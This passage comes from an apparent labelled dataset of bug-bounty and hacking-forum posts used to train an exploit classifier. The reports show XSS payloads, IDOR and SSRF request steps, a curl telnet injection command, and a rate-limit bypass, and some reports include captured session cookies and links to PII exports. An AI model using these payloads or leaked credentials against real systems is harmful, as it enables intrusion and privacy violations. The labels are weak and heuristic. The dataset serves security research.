1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nTe: trailers\nContent-Type: application/json\nContent-Length: 112\n\n{\n              \"ipAddress\": \"<svg on onload=(alert)(document.domain)>\",\n\"callBackURL\":\"dssdsd\"\n            }\n```\nnow i get response : \n```\nHTTP/2 400 Bad Request\nDate: Thu, 20 Jul 2023 23:30:32 GMT\nContent-Length: 0\nCache-Control: no-cache, no-store, max-age=0, must-revalidate\nExpires: 0\nPragma: no-cache\nStrict-Transport-Security: max-age=31536000 ; includeSubDomains\nX-Content-Type-Options: nosniff\nX-Frame-Options: DENY\nX-Gk-Traceid: e97be98a-d5e6-4fce-a6a5-4d5f6d28b02a\nX-Regional-Id: usw2-gk-65dc71e19a79\nX-Served-Epoch: 1689895832189\nX-Xss-Protection: 1; mode=block\nCf-Cache-Status: DYNAMIC\nSet-Cookie: __cf_bm=7dklJH6I0nIayzUSs2ga_6bhxG_AZTclwDwaUIaKeBQ-1689895832-0-AQvIhwqEdRP3rLeIkHe1u4gqwspbam+/6s7/WEIOEsrvvvpuOSaaBNi36GsWEVNOGQWbRBz4Z89eCgjOTdOWGv0=; path=/; expires=Fri, 21-Jul-23 00:00:32 GMT; domain=.8x8.com; HttpOnly; Secure; SameSite=None\nServer: cloudflare\nCf-Ray: 7e9efe156adf41f9-EWR\n\n\n```\n\nthen i check url : https://█████████.8x8.com/api/██████████mentInfoById/████ \nand i seen ip address updated and █████load successfully executed : \n█████████\n  \n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. open url : https://███.8x8.com/api/████mentInfoById/█████ \n  1. you can see my injected ████████load executed :D \n\n## Supporting Material/References:\n███\n\n## Impact\n\nStealing cookies and executed javascript in victim browser", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4d2e026f3938752b1279", "text": "[Insecure Direct Object Reference (IDOR)] IDOR - Delete Users Saved Projects\n\n**Target Url**\nhttps://█████/██████████/█████████={Target_id}\n\n**Summary:**\nHello, I found an IDOR bug in deleting users saved projects. Through changing the search id in the above url in a GET request, you can delete saved projects for any users.\n\n## Step-by-step Reproduction Instructions\n\n1. Navigate to your account -> Saved Searches.\n2. Copy the url of the delete request `https://████/█████/████████={search_id}`\n3. Replace your search id with the target victim search id and send the request. The target saved search will be deleted from the victim\nTo be more clear I uploaded this video, please watch it.\n{}\n\n## Suggested Mitigation/Remediation Actions\nCheck the user that is deleting the saved searches if he is legitimate and the real owner of that search or not.\n\n## Impact\n\nThis would lead the attacker to delete all users saved searches through bruteforcing their ids. And since the id are incremented in an easy sequence, attacker can do this attack very fast.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d6027174ef2e2111dfc7", "text": "[Uncontrolled Resource Consumption] ReDoS( Ruby, Time)\n\nI reported at https://hackerone.com/reports/1485501\n\nhttps://www.ruby-lang.org/en/news/2023/03/30/redos-in-time-cve-2023-28756/\n> The Time parser mishandles invalid strings that have specific characters. It causes an increase in execution time for parsing strings to Time objects.\n> A ReDoS issue was discovered in the Time gem 0.1.0 and 0.2.1 and Time library of Ruby 2.7.7.\n\n## Impact\n\nReDoS occurs when `Time.rfc2822` accepts user input.\n\nIn `Rack::ConditionalGet`, the header value is parsed by `Time.rfc2822`,  it is possible to attack from the request.\nRails uses `::Rack::ConditionalGet` by default, it can be attacked by a request from the client.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-28756"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f4fbba08c3adb8156d93", "text": "Because even Linux users can get malware (it would be cool if a Windows version was there though).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-06-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aeb644a587a07ec4675a", "text": "[Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)] CVE-2023-27533: Telnet option IAC injection\n\n## Summary:\n`CURLOPT_TELNETOPTIONS` allows setting various telnet options for telnet protocol. Due to missing encoding of \"Interpret as Command\" `IAC` (0xff) character, the attacker who can control these option values can escape out of the telnet subnegotiation and enter arbitrary TELNET commands (*) via the `CURLOPT_TELNETOPTIONS`  options. `TTYPE`, `XDISPLOC` and `NEW_ENV` options are affected.\n\n*) TELNET command refers to \"TELNET COMMAND STRUCTURE\" in RFC 854\n\n## Steps To Reproduce:\n\n  1. `curl --telnet-option NEW_ENV=a,b$(echo -ne \"\\xff\\xf0INJECTED\") telnet://server`\n\nWhen inspected with tcpdump:\n```\n20:57:34.454720 IP x.x.x.x.53864 > y.y.y.y.telnet: Flags [P.], seq 17:37, ack 22, win 2058, options [nop,nop,TS val 1459077881 ecr 3403052525], length 20 [telnet SB NEW-ENVIRON IS 0 0x61 0x1 0x62 SE]\n        0x0000:  4502 0048 0000 4000 4006 265a XXXX XXXX   E..H..@.@.&ZXXXX\n        0x0010:  YYYY YYYY d268 0017 12a4 daa2 6603 9cb6  YYYY.h......f...\n        0x0020:  8018 080a f840 0000 0101 080a 56f7 c2f9  .....@......V...\n        0x0030:  cad6 75ed fffa 2700 0061 0162 fff0 494e  ..u...'..a.b..IN\n        0x0040:  4a45 4354 4544 fff0                      JECTED..\n\n```\n\n## Remediation\n  - Double encode \"Interpret as Command\" (`IAC`) (0xff) if it is encountered when constructing the suboption data to be sent.\n\n## Supporting Material/References:\n *  RFC 854 - https://www.rfc-editor.org/rfc/rfc854\n\n## Impact\n\nAttacker being able to specify `TTYPE`, `XDISPLOC` or `NEW_ENV` values is able to inject unintended TELNET commands to the telnet connection. Depending on the use case of the telnet protocol, this may allow the attacker to inject commands or other controlling operations. The practical impact is context specific, but in worst case this could for example allow executing arbitrary OS commands on target system.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-27533"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7887006e168b2e21a431", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF via image upload URL downloader on https://██████/\n\n**Description:**\nDear DoD,\n\nI found Blind SSRF on one domain from Hack US program.  Original domain is https://█████/ but when you make account and login it redirects you to https://███/my/. Here's the video PoC:\n\n██████\n\n\nThank you!\n\n## Impact\n\nIn a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials. The attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform arbitrary command execution.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nWeb App is infected.\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Create a one test account.\n2. Login to that account.\n3. Go to edit profile.\n4. Scroll down there.\n5. Notice user picture field.\n6. Try to upload something.\n7. You will see URL downloader.\n8. Open your burp collaborator client.\n9. Copy and paste the payload in URL downloader, make sure to include /test.png at the ending like this http://example.com/test.png\n10. Poll now in burp collaborator client.\n11. Notice HTTP and DNS interaction. IP address from HTTP interaction is from internal network which means\nwe can do some middleware issues. Notice that it's fetching test.png file. And IP is from internal network.\n12. Turn your foxy proxy on and open your burp suite.\n13. Paste this ipv4 in URL downloader: http://127.0.0.1/test.png\n14. Intercept request. Request should look like this:\n```javascript\nPOST /repository/repository_ajax.php?action=signin HTTP/1.1\nHost: █████████\nCookie: MoodleSession=c5416a0e3ea3db1606b2876b0b6ac35f; RedirectDouble=1; MOODLEID1_=%25BA%2519V%25E8%25DA%2517\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: */*\nAccept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nContent-Length: 295\nOrigin: https://███████\nReferer: https://█████/user/edit.php\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\nfile=http%3A%2F%2F127.0.0.1%2Ftest.png&repo_id=5&p=&page=&env=filemanager&accepted_types[]=.gif&accepted_types[]=.jpe&accepted_types[]=.jpeg&accepted_types[]=.jpg&accepted_types[]=.png&sesskey=h2ixtMF4Fv&client_id=6315fe93ef054&itemid=951353609&maxbytes=1073741824&areamaxbytes=-1&ctx_id=9398501\n```\n15. You will notice one error showing some info about server which confirms Blind SSRF again. The response looks like this:\n```javascript\nHTTP/1.1 200 OK\nServer: nginx\nDate: Mon, 05 Sep 2022 14:05:32 GMT\nContent-Type: application/json; charset=utf-8\nConnection: close\nX-Powered-By: PHP/7.4.28\nSet-Cookie: RedirectDouble=1; path=/\nSet-Cookie: RedirectDouble=1; path=/\nSet-Cookie: RedirectDouble=1; path=/\nSet-Cookie: RedirectDouble=1; path=/\nCache-Control: no-store, no-cache, must-revalidate\nCache-Control: post-check=0, pre-check=0\nPragma: no-cache\nExpires: Mon, 20 Aug 1969 09:23:00 GMT\nLast-Modified: Mon, 05 Sep 2022 14:05:32 GMT\nAccept-Ranges: none\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nContent-Length: 261\n\n{\"list\":[],\"nosearch\":true,\"norefresh\":true,\"nologin\":true,\"error\":\"HTTP\\/1.1 404 Not Found\\r\\nServer: nginx\\r\\nDate: Mon, 05 Sep 2022 14:05:32 GMT\\r\\nContent-Type: text\\/html; charset=utf-8\\r\\nContent-Length: 146\\r\\nConnection: keep-alive\\r\\n\\r\\n\",\"repo_id\":5\n```\n16. By the way if you change to 25 port its leaking something about Postfix SMTP server. \n17. Also I was able to identify that your web app is using libcurl.\n\n## Suggested Mitigation/Remediation Actions\nMy suggestion is to ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "66bfd2dba758b6aa4b96", "text": "[Cross-site Scripting (XSS) - Reflected] fix(cmd-socketio-server): mitigate cross site scripting attack #2068\n\nPlease refer this fix and approve Bounty.\n\nSee this In Github [Security Fix](https://github.com/hyperledger/cactus/pull/2068)\n\n@ryjones\n\n(https://github.com/hyperledger/cactus/pull/2068#issuecomment-1186157206)\n\n## Impact\n\nfix(cmd-socketio-server): mitigate cross site scripting attack", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5351a2a397167f405d21", "text": "[Improper Access Control - Generic] Deprecated owners.query API bypasses object view policy\n\nThe deprecated owners.query API does not check object view policy. A user is able to view some information about an owner package which they do not have permission to see by calling this API. Since the API is deprecated, it could just be removed.\n\n## Impact\n\nAn attacker is able to view some information about an owner package that they should not be able to see. Including, name, description, owner PHIDs, and repository PHIDs, and a path (which may be a path that belongs to a restricted repository).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e91557c46bb31467bd53", "text": "[Cross-site Scripting (XSS) - Generic] CVE-2022-23520: Incomplete fix for CVE-2022-32209 (XSS in Rails::Html::Sanitizer under certain configurations)\n\nThe following is from: https://hackerone.com/reports/1654310\n\nWhile building a PoC for CVE-2022-32209, I noticed that I could not fix my vulnerable application by updating https://github.com/rails/rails-html-sanitizer from 1.4.2 to 1.4.3 even though the Hackerone report about this vulnerability suggested that this should fix it (see here: https://hackerone.com/reports/1530898).\n\nI built this app with Rails 7.0.3.1 by just running \"rails new\", adding `config.action_view.sanitized_allowed_tags = [\"select\", \"style\"]` to the file `config/application.rb` and creating an endpoint that reflected a parameter after sanitizing it (ERB: `<p>Hello <%= sanitize @name %></p>`). When using the payload `<select><style><script>alert(\"XSS\")</script></style></select>` for the parameter I got an alert no matter what the version of rails-html-sanitizer was.\n\nI believe the reason is the following. There are two ways you can pass the list of allowed tags to the sanitizer. One is via a list of tags stored in a class attribute, the other is via an argument passed into the `sanitize` method. The fix only considered the second way but the first one was forgotten. See the commit with the fix here: https://github.com/rails/rails-html-sanitizer/commit/c871aa4034d3d80ad67cf33a3462154b0a0fb477#diff-0daf33b9062eb5ccdeae86ed8bf2662a6e8669f1a7db590802b7f3b36ea47426R159\nThe relevant part of the code is this:\n\n```ruby\nmodule Rails\n  module Html\n    class SafeListSanitizer < Sanitizer\n      ...\n      def remove_safelist_tag_combinations(tags)\n        if !loofah_using_html5? && tags.include?(\"select\") && tags.include?(\"style\")\n          warn(\"WARNING: #{self.class}: removing 'style' from safelist, should not be combined with 'select'\")\n          tags.delete(\"style\")\n        end\n        tags\n      end\n\n      def allowed_tags(options)\n        if options[:tags]\n          remove_safelist_tag_combinations(options[:tags])\n        else\n          self.class.allowed_tags\n        end\n      end\n      ...\n    end\n  end\nend\n```\n\nMethod `remove_safelist_tag_combinations` is introduced to remove `style` from the allow list if `select` is in there. However, within method `allowed_tags` this cleanup is only applied to the tag list in the `options`, not to ` self.class.allowed_tags`, the list stored in the sanitizer class.\nHowever, it seems that the configuration in  `config/application.rb` which I've set above put the list into the class variable (I've sprinkled a few `puts` here and there to confirm that).\n\nMoreover, when moving the allow list from `config/application.rb` into the ERB template\n(`<p>Hello <%= sanitize @name, tags: [\"select\", \"style\"] %></p>`), the update from\n1.4.2 to 1.4.3 does fix the problem.\n\n## Impact\n\nIt is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-23520", "CVE-2022-32209"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "273bf95940e07fad3ee4", "text": "OpenBullet 2 V0.2.4\n\n300×177 9.31 KB Install the Microsoft .NET 6 (desktop apps version) from Download .NET 6.0 Download Link : Site Hunter OpenBullet 2 V0.2.4 VirusTotal: virustotal.com VirusTotal VirusTotal Password Unrar is 1", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "85a566c1f225d9b046ec", "text": "[Information Disclosure] Password Reset Token Leak Via Referrer\n\n# Exploitation\nRequest password reset to your email address\nClick on the password reset link\nDont change password\nClick on about us\nIntercept the request in burpsuite proxy\nCheck if the referer header is leaking password reset token.\n\n# Impact\nIt allows the person who has control of particular site to change the user’s password (CSRF attack), because this person knows reset password token of the user.\n\n# Reference:\nhttps://hackerone.com/reports/342693\nhttps://hackerone.com/reports/272379\nhttps://hackerone.com/reports/737042\nhttps://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a\nhttps://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1\n\n## Impact\n\nIt allows the person who has control of particular site to change the user’s password (CSRF attack), because this person knows reset password token of the user.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ccf2ccab397b09e3a355", "text": "I am gonna help you because I received many helps here too. To get the correct results from ffuf, you need to ensure that the IP address after -u contains a http in front (eg http://1.1.1.1 ). In addition, the -H parameter will need to have NO http in front (eg: Host: FUZZ.example.com ). Also remove all your hosts entry related to HTB from /etc/hosts, if any. Should be working after this. Btw your flag 1 is incorrect. You will know once you get the results from ffuf.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "73d099321904350a7ad3", "text": "Hey if anyone is really stuck like me(for days), you should definatly short out your custom generated word list: ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ sed -ri '/^.{,7}$/d' harry.txt ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ sed -ri '/[!-/:-@\\[-`\\{-~]+/!d' harry.txt ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ sed -ri '/[0-9]+/!d' harry.txt ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ wc harry.txt 2245 2246 22629 harry.txt", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6054311dceae1854bb25", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] reflected XSS on panther.com\n\n## Summary:\nWhen visiting  runpanther.io I got redirected to panther.com and the application failed to sanitise user's input resulting into HTML injection and possible XSS.\n\n## Steps To Reproduce:\n\n{F1774502}\n  1. Go to https://panther.com/search/Users%3Ch1%3EHello,%20I%20am%3C/h1%3E%3Cfont%20color=red%3E%20Ibrahimatix0x01%3C/font%3E\n  1. You will notice that HTML codes in the search form are executed by the browser.\n  \n\n## Supporting Material/References:\n{F1774497}\n\n## Impact\n\nThe vulnerability allow a malicious user to inject html tags and could possibly execute Javascript (if WAF is successfully bypassed)which could lead to steal user's session", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1b89f56a4dc844ae8020", "text": "[Unknown] Rate limit Bypass on contact-us through IP Rotator (burp extension)(https://www.linkedin.com/help/linkedin/solve/contact)\n\nhello Team\ni have found issue on https://www.linkedin.com/help/linkedin/solve/contact , which spam the mail box of victim (through alternative email) and support team.\nSteps \n1. Go to https://www.linkedin.com/help/linkedin/solve/contact\n2. Fill the Form\n3. Fill the victim mail id in alternative email.\n4.Start IP Rotatorr (Burp Extension) for bypass the rate-limit.\n    ( https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874)\n5. Capture the request.\n\nHTTP REQUEST\n\nPOST /help/linkedin/api/ticket/new?page_key=hc_smarter_assist&lipi=urn%3Ali%3Apage%3Ahc_solve%3BHaCrDTZIQGaymuZQSvEoTw%3D%3D HTTP/2\nHost: www.linkedin.com\nCookie: bcookie=\"v=2&c4f317bf-bed0-495f-8496-d1b53544d1c4\"; bscookie=\"v=1&202110081507174a83b87c-0d5d-4b78-8691-e7eb51b819d6AQHmFhjM3oKhpmPl-g67WgT5UkwJSxda\"; li_rm=AQEFn2UeyuLk9wAAAYDcvJnTHb73kYJw6UFmfLlXFBMGZSWGplNujPE6Hh3Wpm1tONATBA15Byos33xXv5lHPUrD9baf3W4G7WlsX-FN2vLE0eRRseNYAP_8tTgZ18CPQ-FdTr3mNwiMyo1P3eARQQma20XvGaJIEF8F79LkaZIYXk-BUp0VhWzMUYamzn-8lIY61pl65qMbgIrwMLtQfKYyM7pQ_z5k9GlPo_bwy2Uy24QnKXRw71ideBf7WuMTPpXpLaBG9LGZM3ZY8oZtvlL_ZZ5-JrbGFVJUELYBjd5LcExjjb18eZzw47QUczhvnGxzzeDg2B0NsIyc-_g; g_state={\"i_l\":3,\"i_p\":1653575596396}; G_ENABLED_IDPS=google; timezone=Asia/Kolkata; li_theme=light; li_theme_set=app; li_mc=MTswOzE2NTMyMDc5MzA7MTswMjEF8QNpG1iJaJfCqv0+88KjLXLqdlvBLjPuxCZuAQOYOg==; li_alerts=e30=; visit=v=1&M; li_gc=MTswOzE2NTI5NzA3ODk7MjswMjFkSg/yf65s1QypezQZsH0W9ajBD2B0DVWIY9G2hIILOw==; JSESSIONID=\"ajax:1140114095873524025\"; UserMatchHistory=AQKj5fR0mR7oJQAAAYDqurzF6lb9b8uswj6Z5l6vZllwjzWMK2a0-LI760kRMfhuXJAqDBgXGgbTOGGkNPmFYG8G0KQgxX45NsoDiOk_XrskWULZok5h3FmANIjbdieFC-Wu7lAykeAaK4iS6eSxL7GsfGmA6Er6S5PgUNQjZ0pnwcDZyPx_CJAX3LAO9YlnUTcscJ6P7SLjXeCv4zxPLIJDdd1kot10ma8qA7khVUNMXqX0sVi3sJ84bi4flAZWB4t5g56qmQ; cap_session_id=4016886046:1; li_er=v=1&r=urn:li:contract:396850646&t=1651318702036&g=MDIxwMB8HbZ4pkHlcKjmNWVgXQU708vn4ctzjdu9DLdCVAs=; u_tz=GMT+05:30; li_at=AQEDATumkO8By_toAAABgN_E99QAAAGBA9F71E4Ap4xA8olRhCz_2fWkh9V9Yg0_YpIU3E8M2YK7TKMxvwV4LlWFinQebObeHNvAJa_iwPamoe9BfcdWl8cjr7WSls0XAMBG9DjMi7Itzt4OkQHpgNzo; liap=true; li_a=AQJ2PTEmY2FwX3NlYXQ9Mjc2Mzg3MDE2JmNhcF9hZG1pbj1mYWxzZSZjYXBfa249Mzk2ODUwNjQ2SCsATU1i0kEIAdqllopHZmTEvrk; lidc=\"b=TB23:s=T:r=T:a=T:p=T:g=3826:u=2:x=1:i=1653195903:t=1653282303:v=2:sig=AQGCZy6T9vR93sKtbfJliGAugit-RF6R\"; lang=v=2&lang=en-US; sdsc=1%3A1SZM1shxDNbLt36wZwCgPgvN58iw%3D; PLAY_SESSION=eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InNlc3Npb25faWQiOiI3YmZkZDdjNS0yZDgyLTQzN2ItOGIwZS0yNjFiNDU5ZWZhYTV8MTY1MzIwNzUxNiIsImFsbG93bGlzdCI6Int9IiwicmVjZW50bHktc2VhcmNoZWQiOiIiLCJyZWZlcnJhbC11cmwiOiJodHRwczovL3d3dy5saW5rZWRpbi5jb20vIiwiYWlkIjoiIiwiUk5ULWlkIjoifDAiLCJyZWNlbnRseS12aWV3ZWQiOiI1MDE5MSIsIkNQVC1pZCI6IsKeXHQnX8OXUMOgXHLDn1bCvcKMw6vDrCxMIiwiZXhwZXJpZW5jZSI6InNtYXJ0IGFzc2lzdCIsImlzX25hdGl2ZSI6ImZhbHNlIiwidHJrIjoicHNldHRpbmdzLWRhdGEtZXhwb3J0X2FwaSJ9LCJuYmYiOjE2NTMyMDgwMjUsImlhdCI6MTY1MzIwODAyNX0.JgW5QI-j18ogKdtRln0yz2kaXUA_LyQ6cUhk4TH2-nQ; PLAY_LANG=en\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nCsrf-Token: ajax:1140114095873524025\nContent-Length: 749\nOrigin: https://www.linkedin.com\nReferer: https://www.linkedin.com/help/linkedin/solve/contact\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\nsuppliedname=Rahul+kumar&email=hiiamsachinkumar%40gmail.com&altemail=kumarsachin1642001%40gmail.com&c%24customer_classification=732&c%24app=2060&c%24platform=1371&description=%22%3E%3Cscript%3Ealert(%221%22)%3C%2Fscript%3E&attachments=%5B%5D&first_name=Rahul&last_name=kumar&user_message=Email%3A+%3A+hiiamsachinkumar%40gmail.com%3Cbr%3E%3Cbr%3EAlternate+Email%3A+%3A+kumarsachin1642001%40gmail.com%3Cbr%3E%3Cbr%3EIssue+Type+%3A+Inbox%2FInvitations%2FMessages%3Cbr%3E%3Cbr%3EIn+Which+App+or+Site%3F+%3A+LinkedIn+(Mobile+App)%3Cbr%3E%3Cbr%3", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ddce8a31990f20b2fca3", "text": "Sounds like it will work! The only thing I can think of is things that use your GFX-card for processingpower and that a smaller specced laptop may struggle with those parts. However, it should work to crack hashes etc also but just not as fast as something with a OMGROFLCOPTER Nvidia card", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-09-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6ec77d59424825144397", "text": "[Business Logic Errors] IDOR Payments Status\n\n## Summary:\n\nFound in the payment status function, IDOR's weakness.\nWhere when doing the experiment managed to see the payment status of another account\nThe following is the POC of the experiments carried out.\n## Steps To Reproduce:\n1.GET /payments/paym_test_xxxx/status HTTP/2\nHost: api.omise.co\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36\nSec-Ch-Ua-Platform: \"macOS\"\nAccept: */*\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://api.omise.co/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\n2.changed the id of the payment on the part I replaced it with paym_test_xxxx\n\n## Impact\n\nThe application does not validate the requested payment status value, whether it belongs to the account or not, so that attackers can see the payment status of other people's accounts,\n\n\nBest regards,\n\n\nCodeslayer137", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e8c2f00f730d04992a85", "text": "[Unknown] [python] TarSlip vulnerability improvements\n\nThis bug was reported directly to GitHub Security Lab.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "670b76f020ad43102185", "text": "[Information Disclosure] PII of users can be downloaded from export pages\n\n## Description:\nOn the https://doaction.org/ pages can be enumerated via 'p' get parameter, for example:\nhttps://doaction.org/?p=1657 redirects to https://doaction.org/event/ijebu-2019/\nhttps://doaction.org/?p=1320 redirects to https://doaction.org/non-profit/test/\nUsing it I have enumerated almost 1000 unique endpoints and on some of them I found csv files with PII of users (Name,Email,Phone,Role,Organisation\n). I suppose that this is the data of hackathons participants. Links to download pages:\nhttps://doaction.org/do_action-export-1498557984/\nhttps://doaction.org/do_action-export-1498737049/\nhttps://doaction.org/do_action-export-1498745152/\nhttps://doaction.org/do_action-export-1498812322/\nhttps://doaction.org/do_action-export-1500046180/\nhttps://doaction.org/do_action-export-1500469161/\nhttps://doaction.org/do_action-export-1518613217/\nhttps://doaction.org/do_action-export-1519205241/\nhttps://doaction.org/do_action-export-1519327599/\nhttps://doaction.org/do_action-export-1523894240/\nhttps://doaction.org/do_action-export-1529355810/\nhttps://doaction.org/do_action-export-1530608893/\nhttps://doaction.org/do_action-export-1530956399/\nhttps://doaction.org/do_action-export-1530964074/\nhttps://doaction.org/do_action-export-1530964096/\nhttps://doaction.org/do_action-export-1531988106/\nhttps://doaction.org/do_action-export-1532000396/\nhttps://doaction.org/do_action-export-1532075463/\nhttps://doaction.org/do_action-export-1532672117/\nhttps://doaction.org/do_action-export-1535471764/\nhttps://doaction.org/do_action-export-1535751740/\nhttps://doaction.org/do_action-export-1535999159/\nhttps://doaction.org/do_action-export-1536309599/\nhttps://doaction.org/do_action-export-1536389295/\nhttps://doaction.org/do_action-export-1540023637/\nhttps://doaction.org/do_action-export-1552910175/\nhttps://doaction.org/do_action-export-1553260656/\nhttps://doaction.org/do_action-export-1553882619/\nhttps://doaction.org/do_action-export-1554723418/\nhttps://doaction.org/do_action-export-1554815348/\nhttps://doaction.org/do_action-export-1555393513/\nhttps://doaction.org/do_action-export-1555393534/\nhttps://doaction.org/do_action-export-1555393708/\nhttps://doaction.org/do_action-export-1555393762/\nhttps://doaction.org/do_action-export-1556007840/\nhttps://doaction.org/do_action-export-1556007849/\nhttps://doaction.org/do_action-export-1556007854/\nhttps://doaction.org/do_action-export-1556739301/\nhttps://doaction.org/do_action-export-1556903021/\nhttps://doaction.org/do_action-export-1556946934/\nhttps://doaction.org/do_action-export-1559905698/\nhttps://doaction.org/do_action-export-1560342197/\nhttps://doaction.org/do_action-export-1561023007/\nhttps://doaction.org/do_action-export-1561023537/\nhttps://doaction.org/do_action-export-1561023566/\nhttps://doaction.org/do_action-export-1561023592/\nhttps://doaction.org/do_action-export-1561023611/\nhttps://doaction.org/do_action-export-1561023668/\nhttps://doaction.org/do_action-export-1561023675/\nhttps://doaction.org/do_action-export-1561180440/\nhttps://doaction.org/do_action-export-1561973925/\nhttps://doaction.org/do_action-export-1562147045/\nhttps://doaction.org/do_action-export-1562194238/\nhttps: